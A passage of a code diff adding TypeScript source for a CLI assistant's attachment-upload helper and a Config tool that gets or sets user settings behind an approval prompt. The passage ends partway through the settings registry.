+ * Upload BriefTool attachments to private_api so web viewers can preview them.
+ *
+ * When the repl bridge is active, attachment paths are meaningless to a web
+ * viewer (they're on Claude's machine). We upload to /api/oauth/file_upload —
+ * the same store MessageComposer/SpaceMessage render from — and stash the
+ * returned file_uuid alongside the path. Web resolves file_uuid → preview;
+ * desktop/local try path first.
+ *
+ * Best-effort: any failure (no token, bridge off, network error, 4xx) logs
+ * debug and returns undefined. The attachment still carries {path, size,
+ * isImage}, so local-terminal and same-machine-desktop render unaffected.
+ */
+
+import { feature } from 'bun:bundle'
+import axios from 'axios'
+import { randomUUID } from 'crypto'
+import { readFile } from 'fs/promises'
+import { basename, extname } from 'path'
+import { z } from 'zod/v4'
+
+import {
+  getBridgeAccessToken,
+  getBridgeBaseUrlOverride,
+} from '../../bridge/bridgeConfig.js'
+import { getOauthConfig } from '../../constants/oauth.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+
+// Matches the private_api backend limit
+const MAX_UPLOAD_BYTES = 30 * 1024 * 1024
+
+const UPLOAD_TIMEOUT_MS = 30_000
+
+// Backend dispatches on mime: image/* → upload_image_wrapped (writes
+// PREVIEW/THUMBNAIL, no ORIGINAL), everything else → upload_generic_file
+// (ORIGINAL only, no preview). Only whitelist raster formats the
+// transcoder reliably handles — svg/bmp/ico risk a 400, and pdf routes
+// to upload_pdf_file_wrapped which also skips ORIGINAL. Dispatch
+// viewers use /preview for images and /contents for everything else,
+// so images go image/* and the rest go octet-stream.
+const MIME_BY_EXT: Record<string, string> = {
+  '.png': 'image/png',
+  '.jpg': 'image/jpeg',
+  '.jpeg': 'image/jpeg',
+  '.gif': 'image/gif',
+  '.webp': 'image/webp',
+}
+
+function guessMimeType(filename: string): string {
+  const ext = extname(filename).toLowerCase()
+  return MIME_BY_EXT[ext] ?? 'application/octet-stream'
+}
+
+function debug(msg: string): void {
+  logForDebugging(`[brief:upload] ${msg}`)
+}
+
+/**
+ * Base URL for uploads. Must match the host the token is valid for.
+ *
+ * Subprocess hosts (cowork) pass ANTHROPIC_BASE_URL alongside
+ * CLAUDE_CODE_OAUTH_TOKEN — prefer that since getOauthConfig() only
+ * returns staging when USE_STAGING_OAUTH is set, which such hosts don't
+ * set. Without this a staging token hits api.anthropic.com → 401 → silent
+ * skip → web viewer sees inert cards with no file_uuid.
+ */
+function getBridgeBaseUrl(): string {
+  return (
+    getBridgeBaseUrlOverride() ??
+    process.env.ANTHROPIC_BASE_URL ??
+    getOauthConfig().BASE_API_URL
+  )
+}
+
+// /api/oauth/file_upload returns one of ChatMessage{Image,Blob,Document}FileSchema.
+// All share file_uuid; that's the only field we need.
+const uploadResponseSchema = lazySchema(() =>
+  z.object({ file_uuid: z.string() }),
+)
+
+export type BriefUploadContext = {
+  replBridgeEnabled: boolean
+  signal?: AbortSignal
+}
+
+/**
+ * Upload a single attachment. Returns file_uuid on success, undefined otherwise.
+ * Every early-return is intentional graceful degradation.
+ */
+export async function uploadBriefAttachment(
+  fullPath: string,
+  size: number,
+  ctx: BriefUploadContext,
+): Promise<string | undefined> {
+  // Positive pattern so bun:bundle eliminates the entire body from
+  // non-BRIDGE_MODE builds (negative `if (!feature(...)) return` does not).
+  if (feature('BRIDGE_MODE')) {
+    if (!ctx.replBridgeEnabled) return undefined
+
+    if (size > MAX_UPLOAD_BYTES) {
+      debug(`skip ${fullPath}: ${size} bytes exceeds ${MAX_UPLOAD_BYTES} limit`)
+      return undefined
+    }
+
+    const token = getBridgeAccessToken()
+    if (!token) {
+      debug('skip: no oauth token')
+      return undefined
+    }
+
+    let content: Buffer
+    try {
+      content = await readFile(fullPath)
+    } catch (e) {
+      debug(`read failed for ${fullPath}: ${e}`)
+      return undefined
+    }
+
+    const baseUrl = getBridgeBaseUrl()
+    const url = `${baseUrl}/api/oauth/file_upload`
+    const filename = basename(fullPath)
+    const mimeType = guessMimeType(filename)
+    const boundary = `----FormBoundary${randomUUID()}`
+
+    // Manual multipart — same pattern as filesApi.ts. The oauth endpoint takes
+    // a single "file" part (no "purpose" field like the public Files API).
+    const body = Buffer.concat([
+      Buffer.from(
+        `--${boundary}\r\n` +
+          `Content-Disposition: form-data; name="file"; filename="${filename}"\r\n` +
+          `Content-Type: ${mimeType}\r\n\r\n`,
+      ),
+      content,
+      Buffer.from(`\r\n--${boundary}--\r\n`),
+    ])
+
+    try {
+      const response = await axios.post(url, body, {
+        headers: {
+          Authorization: `Bearer ${token}`,
+          'Content-Type': `multipart/form-data; boundary=${boundary}`,
+          'Content-Length': body.length.toString(),
+        },
+        timeout: UPLOAD_TIMEOUT_MS,
+        signal: ctx.signal,
+        validateStatus: () => true,
+      })
+
+      if (response.status !== 201) {
+        debug(
+          `upload failed for ${fullPath}: status=${response.status} body=${jsonStringify(response.data).slice(0, 200)}`,
+        )
+        return undefined
+      }
+
+      const parsed = uploadResponseSchema().safeParse(response.data)
+      if (!parsed.success) {
+        debug(
+          `unexpected response shape for ${fullPath}: ${parsed.error.message}`,
+        )
+        return undefined
+      }
+
+      debug(`uploaded ${fullPath} → ${parsed.data.file_uuid} (${size} bytes)`)
+      return parsed.data.file_uuid
+    } catch (e) {
+      debug(`upload threw for ${fullPath}: ${e}`)
+      return undefined
+    }
+  }
+  return undefined
+}

src/tools/ConfigTool/ConfigTool.ts

@@ -0,0 +1,467 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../../services/analytics/index.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import {
+  type GlobalConfig,
+  getGlobalConfig,
+  getRemoteControlAtStartup,
+  saveGlobalConfig,
+} from '../../utils/config.js'
+import { errorMessage } from '../../utils/errors.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { logError } from '../../utils/log.js'
+import {
+  getInitialSettings,
+  updateSettingsForSource,
+} from '../../utils/settings/settings.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+import { CONFIG_TOOL_NAME } from './constants.js'
+import { DESCRIPTION, generatePrompt } from './prompt.js'
+import {
+  getConfig,
+  getOptionsForSetting,
+  getPath,
+  isSupported,
+} from './supportedSettings.js'
+import {
+  renderToolResultMessage,
+  renderToolUseMessage,
+  renderToolUseRejectedMessage,
+} from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    setting: z
+      .string()
+      .describe(
+        'The setting key (e.g., "theme", "model", "permissions.defaultMode")',
+      ),
+    value: z
+      .union([z.string(), z.boolean(), z.number()])
+      .optional()
+      .describe('The new value. Omit to get current value.'),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    success: z.boolean(),
+    operation: z.enum(['get', 'set']).optional(),
+    setting: z.string().optional(),
+    value: z.unknown().optional(),
+    previousValue: z.unknown().optional(),
+    newValue: z.unknown().optional(),
+    error: z.string().optional(),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+
+export type Input = z.infer<InputSchema>
+export type Output = z.infer<OutputSchema>
+
+export const ConfigTool = buildTool({
+  name: CONFIG_TOOL_NAME,
+  searchHint: 'get or set Claude Code settings (theme, model)',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return DESCRIPTION
+  },
+  async prompt() {
+    return generatePrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return 'Config'
+  },
+  shouldDefer: true,
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly(input: Input) {
+    return input.value === undefined
+  },
+  toAutoClassifierInput(input) {
+    return input.value === undefined
+      ? input.setting
+      : `${input.setting} = ${input.value}`
+  },
+  async checkPermissions(input: Input) {
+    // Auto-allow reading configs
+    if (input.value === undefined) {
+      return { behavior: 'allow' as const, updatedInput: input }
+    }
+    return {
+      behavior: 'ask' as const,
+      message: `Set ${input.setting} to ${jsonStringify(input.value)}`,
+    }
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  renderToolUseRejectedMessage,
+  async call({ setting, value }: Input, context): Promise<{ data: Output }> {
+    // 1. Check if setting is supported
+    // Voice settings are registered at build-time (feature('VOICE_MODE')), but
+    // must also be gated at runtime. When the kill-switch is on, treat
+    // voiceEnabled as an unknown setting so no voice-specific strings leak.
+    if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
+      const { isVoiceGrowthBookEnabled } = await import(
+        '../../voice/voiceModeEnabled.js'
+      )
+      if (!isVoiceGrowthBookEnabled()) {
+        return {
+          data: { success: false, error: `Unknown setting: "${setting}"` },
+        }
+      }
+    }
+    if (!isSupported(setting)) {
+      return {
+        data: { success: false, error: `Unknown setting: "${setting}"` },
+      }
+    }
+
+    const config = getConfig(setting)!
+    const path = getPath(setting)
+
+    // 2. GET operation
+    if (value === undefined) {
+      const currentValue = getValue(config.source, path)
+      const displayValue = config.formatOnRead
+        ? config.formatOnRead(currentValue)
+        : currentValue
+      return {
+        data: { success: true, operation: 'get', setting, value: displayValue },
+      }
+    }
+
+    // 3. SET operation
+
+    // Handle "default" — unset the config key so it falls back to the
+    // platform-aware default (determined by the bridge feature gate).
+    if (
+      setting === 'remoteControlAtStartup' &&
+      typeof value === 'string' &&
+      value.toLowerCase().trim() === 'default'
+    ) {
+      saveGlobalConfig(prev => {
+        if (prev.remoteControlAtStartup === undefined) return prev
+        const next = { ...prev }
+        delete next.remoteControlAtStartup
+        return next
+      })
+      const resolved = getRemoteControlAtStartup()
+      // Sync to AppState so useReplBridge reacts immediately
+      context.setAppState(prev => {
+        if (prev.replBridgeEnabled === resolved && !prev.replBridgeOutboundOnly)
+          return prev
+        return {
+          ...prev,
+          replBridgeEnabled: resolved,
+          replBridgeOutboundOnly: false,
+        }
+      })
+      return {
+        data: {
+          success: true,
+          operation: 'set',
+          setting,
+          value: resolved,
+        },
+      }
+    }
+
+    let finalValue: unknown = value
+
+    // Coerce and validate boolean values
+    if (config.type === 'boolean') {
+      if (typeof value === 'string') {
+        const lower = value.toLowerCase().trim()
+        if (lower === 'true') finalValue = true
+        else if (lower === 'false') finalValue = false
+      }
+      if (typeof finalValue !== 'boolean') {
+        return {
+          data: {
+            success: false,
+            operation: 'set',
+            setting,
+            error: `${setting} requires true or false.`,
+          },
+        }
+      }
+    }
+
+    // Check options
+    const options = getOptionsForSetting(setting)
+    if (options && !options.includes(String(finalValue))) {
+      return {
+        data: {
+          success: false,
+          operation: 'set',
+          setting,
+          error: `Invalid value "${value}". Options: ${options.join(', ')}`,
+        },
+      }
+    }
+
+    // Async validation (e.g., model API check)
+    if (config.validateOnWrite) {
+      const result = await config.validateOnWrite(finalValue)
+      if (!result.valid) {
+        return {
+          data: {
+            success: false,
+            operation: 'set',
+            setting,
+            error: result.error,
+          },
+        }
+      }
+    }
+
+    // Pre-flight checks for voice mode
+    if (
+      feature('VOICE_MODE') &&
+      setting === 'voiceEnabled' &&
+      finalValue === true
+    ) {
+      const { isVoiceModeEnabled } = await import(
+        '../../voice/voiceModeEnabled.js'
+      )
+      if (!isVoiceModeEnabled()) {
+        const { isAnthropicAuthEnabled } = await import('../../utils/auth.js')
+        return {
+          data: {
+            success: false,
+            error: !isAnthropicAuthEnabled()
+              ? 'Voice mode requires a Claude.ai account. Please run /login to sign in.'
+              : 'Voice mode is not available.',
+          },
+        }
+      }
+      const { isVoiceStreamAvailable } = await import(
+        '../../services/voiceStreamSTT.js'
+      )
+      const {
+        checkRecordingAvailability,
+        checkVoiceDependencies,
+        requestMicrophonePermission,
+      } = await import('../../services/voice.js')
+
+      const recording = await checkRecordingAvailability()
+      if (!recording.available) {
+        return {
+          data: {
+            success: false,
+            error:
+              recording.reason ??
+              'Voice mode is not available in this environment.',
+          },
+        }
+      }
+      if (!isVoiceStreamAvailable()) {
+        return {
+          data: {
+            success: false,
+            error:
+              'Voice mode requires a Claude.ai account. Please run /login to sign in.',
+          },
+        }
+      }
+      const deps = await checkVoiceDependencies()
+      if (!deps.available) {
+        return {
+          data: {
+            success: false,
+            error:
+              'No audio recording tool found.' +
+              (deps.installCommand ? ` Run: ${deps.installCommand}` : ''),
+          },
+        }
+      }
+      if (!(await requestMicrophonePermission())) {
+        let guidance: string
+        if (process.platform === 'win32') {
+          guidance = 'Settings \u2192 Privacy \u2192 Microphone'
+        } else if (process.platform === 'linux') {
+          guidance = "your system's audio settings"
+        } else {
+          guidance =
+            'System Settings \u2192 Privacy & Security \u2192 Microphone'
+        }
+        return {
+          data: {
+            success: false,
+            error: `Microphone access is denied. To enable it, go to ${guidance}, then try again.`,
+          },
+        }
+      }
+    }
+
+    const previousValue = getValue(config.source, path)
+
+    // 4. Write to storage
+    try {
+      if (config.source === 'global') {
+        const key = path[0]
+        if (!key) {
+          return {
+            data: {
+              success: false,
+              operation: 'set',
+              setting,
+              error: 'Invalid setting path',
+            },
+          }
+        }
+        saveGlobalConfig(prev => {
+          if (prev[key as keyof GlobalConfig] === finalValue) return prev
+          return { ...prev, [key]: finalValue }
+        })
+      } else {
+        const update = buildNestedObject(path, finalValue)
+        const result = updateSettingsForSource('userSettings', update)
+        if (result.error) {
+          return {
+            data: {
+              success: false,
+              operation: 'set',
+              setting,
+              error: result.error.message,
+            },
+          }
+        }
+      }
+
+      // 5a. Voice needs notifyChange so applySettingsChange resyncs
+      // AppState.settings (useVoiceEnabled reads settings.voiceEnabled)
+      // and the settings cache resets for the next /voice read.
+      if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
+        const { settingsChangeDetector } = await import(
+          '../../utils/settings/changeDetector.js'
+        )
+        settingsChangeDetector.notifyChange('userSettings')
+      }
+
+      // 5b. Sync to AppState if needed for immediate UI effect
+      if (config.appStateKey) {
+        const appKey = config.appStateKey
+        context.setAppState(prev => {
+          if (prev[appKey] === finalValue) return prev
+          return { ...prev, [appKey]: finalValue }
+        })
+      }
+
+      // Sync remoteControlAtStartup to AppState so the bridge reacts
+      // immediately (the config key differs from the AppState field name,
+      // so the generic appStateKey mechanism can't handle this).
+      if (setting === 'remoteControlAtStartup') {
+        const resolved = getRemoteControlAtStartup()
+        context.setAppState(prev => {
+          if (
+            prev.replBridgeEnabled === resolved &&
+            !prev.replBridgeOutboundOnly
+          )
+            return prev
+          return {
+            ...prev,
+            replBridgeEnabled: resolved,
+            replBridgeOutboundOnly: false,
+          }
+        })
+      }
+
+      logEvent('tengu_config_tool_changed', {
+        setting:
+          setting as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        value: String(
+          finalValue,
+        ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+
+      return {
+        data: {
+          success: true,
+          operation: 'set',
+          setting,
+          previousValue,
+          newValue: finalValue,
+        },
+      }
+    } catch (error) {
+      logError(error)
+      return {
+        data: {
+          success: false,
+          operation: 'set',
+          setting,
+          error: errorMessage(error),
+        },
+      }
+    }
+  },
+  mapToolResultToToolResultBlockParam(content: Output, toolUseID: string) {
+    if (content.success) {
+      if (content.operation === 'get') {
+        return {
+          tool_use_id: toolUseID,
+          type: 'tool_result' as const,
+          content: `${content.setting} = ${jsonStringify(content.value)}`,
+        }
+      }
+      return {
+        tool_use_id: toolUseID,
+        type: 'tool_result' as const,
+        content: `Set ${content.setting} to ${jsonStringify(content.newValue)}`,
+      }
+    }
+    return {
+      tool_use_id: toolUseID,
+      type: 'tool_result' as const,
+      content: `Error: ${content.error}`,
+      is_error: true,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)
+
+function getValue(source: 'global' | 'settings', path: string[]): unknown {
+  if (source === 'global') {
+    const config = getGlobalConfig()
+    const key = path[0]
+    if (!key) return undefined
+    return config[key as keyof GlobalConfig]
+  }
+  const settings = getInitialSettings()
+  let current: unknown = settings
+  for (const key of path) {
+    if (current && typeof current === 'object' && key in current) {
+      current = (current as Record<string, unknown>)[key]
+    } else {
+      return undefined
+    }
+  }
+  return current
+}
+
+function buildNestedObject(
+  path: string[],
+  value: unknown,
+): Record<string, unknown> {
+  if (path.length === 0) {
+    return {}
+  }
+  const key = path[0]!
+  if (path.length === 1) {
+    return { [key]: value }
+  }
+  return { [key]: buildNestedObject(path.slice(1), value) }
+}

src/tools/ConfigTool/UI.tsx

@@ -0,0 +1,38 @@
+import React from 'react';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { Text } from '../../ink.js';
+import { jsonStringify } from '../../utils/slowOperations.js';
+import type { Input, Output } from './ConfigTool.js';
+export function renderToolUseMessage(input: Partial<Input>): React.ReactNode {
+  if (!input.setting) return null;
+  if (input.value === undefined) {
+    return <Text dimColor>Getting {input.setting}</Text>;
+  }
+  return <Text dimColor>
+      Setting {input.setting} to {jsonStringify(input.value)}
+    </Text>;
+}
+export function renderToolResultMessage(content: Output): React.ReactNode {
+  if (!content.success) {
+    return <MessageResponse>
+        <Text color="error">Failed: {content.error}</Text>
+      </MessageResponse>;
+  }
+  if (content.operation === 'get') {
+    return <MessageResponse>
+        <Text>
+          <Text bold>{content.setting}</Text> = {jsonStringify(content.value)}
+        </Text>
+      </MessageResponse>;
+  }
+  return <MessageResponse>
+      <Text>
+        Set <Text bold>{content.setting}</Text> to{' '}
+        <Text bold>{jsonStringify(content.newValue)}</Text>
+      </Text>
+    </MessageResponse>;
+}
+export function renderToolUseRejectedMessage(): React.ReactNode {
+  return <Text color="warning">Config change rejected</Text>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIk1lc3NhZ2VSZXNwb25zZSIsIlRleHQiLCJqc29uU3RyaW5naWZ5IiwiSW5wdXQiLCJPdXRwdXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsImlucHV0IiwiUGFydGlhbCIsIlJlYWN0Tm9kZSIsInNldHRpbmciLCJ2YWx1ZSIsInVuZGVmaW5lZCIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwiY29udGVudCIsInN1Y2Nlc3MiLCJlcnJvciIsIm9wZXJhdGlvbiIsIm5ld1ZhbHVlIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBqc29uU3RyaW5naWZ5IH0gZnJvbSAnLi4vLi4vdXRpbHMvc2xvd09wZXJhdGlvbnMuanMnXG5pbXBvcnQgdHlwZSB7IElucHV0LCBPdXRwdXQgfSBmcm9tICcuL0NvbmZpZ1Rvb2wuanMnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZShpbnB1dDogUGFydGlhbDxJbnB1dD4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWlucHV0LnNldHRpbmcpIHJldHVybiBudWxsXG4gIGlmIChpbnB1dC52YWx1ZSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgcmV0dXJuIDxUZXh0IGRpbUNvbG9yPkdldHRpbmcge2lucHV0LnNldHRpbmd9PC9UZXh0PlxuICB9XG4gIHJldHVybiAoXG4gICAgPFRleHQgZGltQ29sb3I+XG4gICAgICBTZXR0aW5nIHtpbnB1dC5zZXR0aW5nfSB0byB7anNvblN0cmluZ2lmeShpbnB1dC52YWx1ZSl9XG4gICAgPC9UZXh0PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sUmVzdWx0TWVzc2FnZShjb250ZW50OiBPdXRwdXQpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWNvbnRlbnQuc3VjY2Vzcykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+RmFpbGVkOiB7Y29udGVudC5lcnJvcn08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgaWYgKGNvbnRlbnQub3BlcmF0aW9uID09PSAnZ2V0Jykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiA9IHtqc29uU3RyaW5naWZ5KGNvbnRlbnQudmFsdWUpfVxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgcmV0dXJuIChcbiAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgPFRleHQ+XG4gICAgICAgIFNldCA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiB0b3snICd9XG4gICAgICAgIDxUZXh0IGJvbGQ+e2pzb25TdHJpbmdpZnkoY29udGVudC5uZXdWYWx1ZSl9PC9UZXh0PlxuICAgICAgPC9UZXh0PlxuICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlKCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5Db25maWcgY2hhbmdlIHJlamVjdGVkPC9UZXh0PlxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxlQUFlLFFBQVEscUNBQXFDO0FBQ3JFLFNBQVNDLElBQUksUUFBUSxjQUFjO0FBQ25DLFNBQVNDLGFBQWEsUUFBUSwrQkFBK0I7QUFDN0QsY0FBY0MsS0FBSyxFQUFFQyxNQUFNLFFBQVEsaUJBQWlCO0FBRXBELE9BQU8sU0FBU0Msb0JBQW9CQSxDQUFDQyxLQUFLLEVBQUVDLE9BQU8sQ0FBQ0osS0FBSyxDQUFDLENBQUMsRUFBRUosS0FBSyxDQUFDUyxTQUFTLENBQUM7RUFDM0UsSUFBSSxDQUFDRixLQUFLLENBQUNHLE9BQU8sRUFBRSxPQUFPLElBQUk7RUFDL0IsSUFBSUgsS0FBSyxDQUFDSSxLQUFLLEtBQUtDLFNBQVMsRUFBRTtJQUM3QixPQUFPLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBQyxRQUFRLENBQUNMLEtBQUssQ0FBQ0csT0FBTyxDQUFDLEVBQUUsSUFBSSxDQUFDO0VBQ3REO0VBQ0EsT0FDRSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ2xCLGNBQWMsQ0FBQ0gsS0FBSyxDQUFDRyxPQUFPLENBQUMsSUFBSSxDQUFDUCxhQUFhLENBQUNJLEtBQUssQ0FBQ0ksS0FBSyxDQUFDO0FBQzVELElBQUksRUFBRSxJQUFJLENBQUM7QUFFWDtBQUVBLE9BQU8sU0FBU0UsdUJBQXVCQSxDQUFDQyxPQUFPLEVBQUVULE1BQU0sQ0FBQyxFQUFFTCxLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUN4RSxJQUFJLENBQUNLLE9BQU8sQ0FBQ0MsT0FBTyxFQUFFO0lBQ3BCLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU8sQ0FBQyxRQUFRLENBQUNELE9BQU8sQ0FBQ0UsS0FBSyxDQUFDLEVBQUUsSUFBSTtBQUN6RCxNQUFNLEVBQUUsZUFBZSxDQUFDO0VBRXRCO0VBQ0EsSUFBSUYsT0FBTyxDQUFDRyxTQUFTLEtBQUssS0FBSyxFQUFFO0lBQy9CLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJO0FBQ2IsVUFBVSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0gsT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDUCxhQUFhLENBQUNXLE9BQU8sQ0FBQ0gsS0FBSyxDQUFDO0FBQzdFLFFBQVEsRUFBRSxJQUFJO0FBQ2QsTUFBTSxFQUFFLGVBQWUsQ0FBQztFQUV0QjtFQUNBLE9BQ0UsQ0FBQyxlQUFlO0FBQ3BCLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsWUFBWSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0csT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDLEdBQUc7QUFDdEQsUUFBUSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ1AsYUFBYSxDQUFDVyxPQUFPLENBQUNJLFFBQVEsQ0FBQyxDQUFDLEVBQUUsSUFBSTtBQUMxRCxNQUFNLEVBQUUsSUFBSTtBQUNaLElBQUksRUFBRSxlQUFlLENBQUM7QUFFdEI7QUFFQSxPQUFPLFNBQVNDLDRCQUE0QkEsQ0FBQSxDQUFFLEVBQUVuQixLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUM5RCxPQUFPLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsc0JBQXNCLEVBQUUsSUFBSSxDQUFDO0FBQzVEIiwiaWdub3JlTGlzdCI6W119

src/tools/ConfigTool/constants.ts

@@ -0,0 +1 @@
+export const CONFIG_TOOL_NAME = 'Config'

src/tools/ConfigTool/prompt.ts

@@ -0,0 +1,93 @@
+import { feature } from 'bun:bundle'
+import { getModelOptions } from '../../utils/model/modelOptions.js'
+import { isVoiceGrowthBookEnabled } from '../../voice/voiceModeEnabled.js'
+import {
+  getOptionsForSetting,
+  SUPPORTED_SETTINGS,
+} from './supportedSettings.js'
+
+export const DESCRIPTION = 'Get or set Claude Code configuration settings.'
+
+/**
+ * Generate the prompt documentation from the registry
+ */
+export function generatePrompt(): string {
+  const globalSettings: string[] = []
+  const projectSettings: string[] = []
+
+  for (const [key, config] of Object.entries(SUPPORTED_SETTINGS)) {
+    // Skip model - it gets its own section with dynamic options
+    if (key === 'model') continue
+    // Voice settings are registered at build-time but gated by GrowthBook
+    // at runtime. Hide from model prompt when the kill-switch is on.
+    if (
+      feature('VOICE_MODE') &&
+      key === 'voiceEnabled' &&
+      !isVoiceGrowthBookEnabled()
+    )
+      continue
+
+    const options = getOptionsForSetting(key)
+    let line = `- ${key}`
+
+    if (options) {
+      line += `: ${options.map(o => `"${o}"`).join(', ')}`
+    } else if (config.type === 'boolean') {
+      line += `: true/false`
+    }
+
+    line += ` - ${config.description}`
+
+    if (config.source === 'global') {
+      globalSettings.push(line)
+    } else {
+      projectSettings.push(line)
+    }
+  }
+
+  const modelSection = generateModelSection()
+
+  return `Get or set Claude Code configuration settings.
+
+  View or change Claude Code settings. Use when the user requests configuration changes, asks about current settings, or when adjusting a setting would benefit them.
+
+
+## Usage
+- **Get current value:** Omit the "value" parameter
+- **Set new value:** Include the "value" parameter
+
+## Configurable settings list
+The following settings are available for you to change:
+
+### Global Settings (stored in ~/.claude.json)
+${globalSettings.join('\n')}
+
+### Project Settings (stored in settings.json)
+${projectSettings.join('\n')}
+
+${modelSection}
+## Examples
+- Get theme: { "setting": "theme" }
+- Set dark theme: { "setting": "theme", "value": "dark" }
+- Enable vim mode: { "setting": "editorMode", "value": "vim" }
+- Enable verbose: { "setting": "verbose", "value": true }
+- Change model: { "setting": "model", "value": "opus" }
+- Change permission mode: { "setting": "permissions.defaultMode", "value": "plan" }
+`
+}
+
+function generateModelSection(): string {
+  try {
+    const options = getModelOptions()
+    const lines = options.map(o => {
+      const value = o.value === null ? 'null/"default"' : `"${o.value}"`
+      return `  - ${value}: ${o.descriptionForModel ?? o.description}`
+    })
+    return `## Model
+- model - Override the default model. Available options:
+${lines.join('\n')}`
+  } catch {
+    return `## Model
+- model - Override the default model (sonnet, opus, haiku, best, or full model ID)`
+  }
+}

src/tools/ConfigTool/supportedSettings.ts

@@ -0,0 +1,211 @@
+import { feature } from 'bun:bundle'
+import { getRemoteControlAtStartup } from '../../utils/config.js'
+import {
+  EDITOR_MODES,
+  NOTIFICATION_CHANNELS,
+  TEAMMATE_MODES,
+} from '../../utils/configConstants.js'
+import { getModelOptions } from '../../utils/model/modelOptions.js'
+import { validateModel } from '../../utils/model/validateModel.js'
+import { THEME_NAMES, THEME_SETTINGS } from '../../utils/theme.js'
+
+/** AppState keys that can be synced for immediate UI effect */
+type SyncableAppStateKey = 'verbose' | 'mainLoopModel' | 'thinkingEnabled'
+
+type SettingConfig = {
+  source: 'global' | 'settings'
+  type: 'boolean' | 'string'
+  description: string
+  path?: string[]
+  options?: readonly string[]
+  getOptions?: () => string[]
+  appStateKey?: SyncableAppStateKey
+  /** Async validation called when writing/setting a value */
+  validateOnWrite?: (v: unknown) => Promise<{ valid: boolean; error?: string }>
+  /** Format value when reading/getting for display */
+  formatOnRead?: (v: unknown) => unknown
+}
+
+export const SUPPORTED_SETTINGS: Record<string, SettingConfig> = {
+  theme: {
+    source: 'global',
+    type: 'string',
+    description: 'Color theme for the UI',
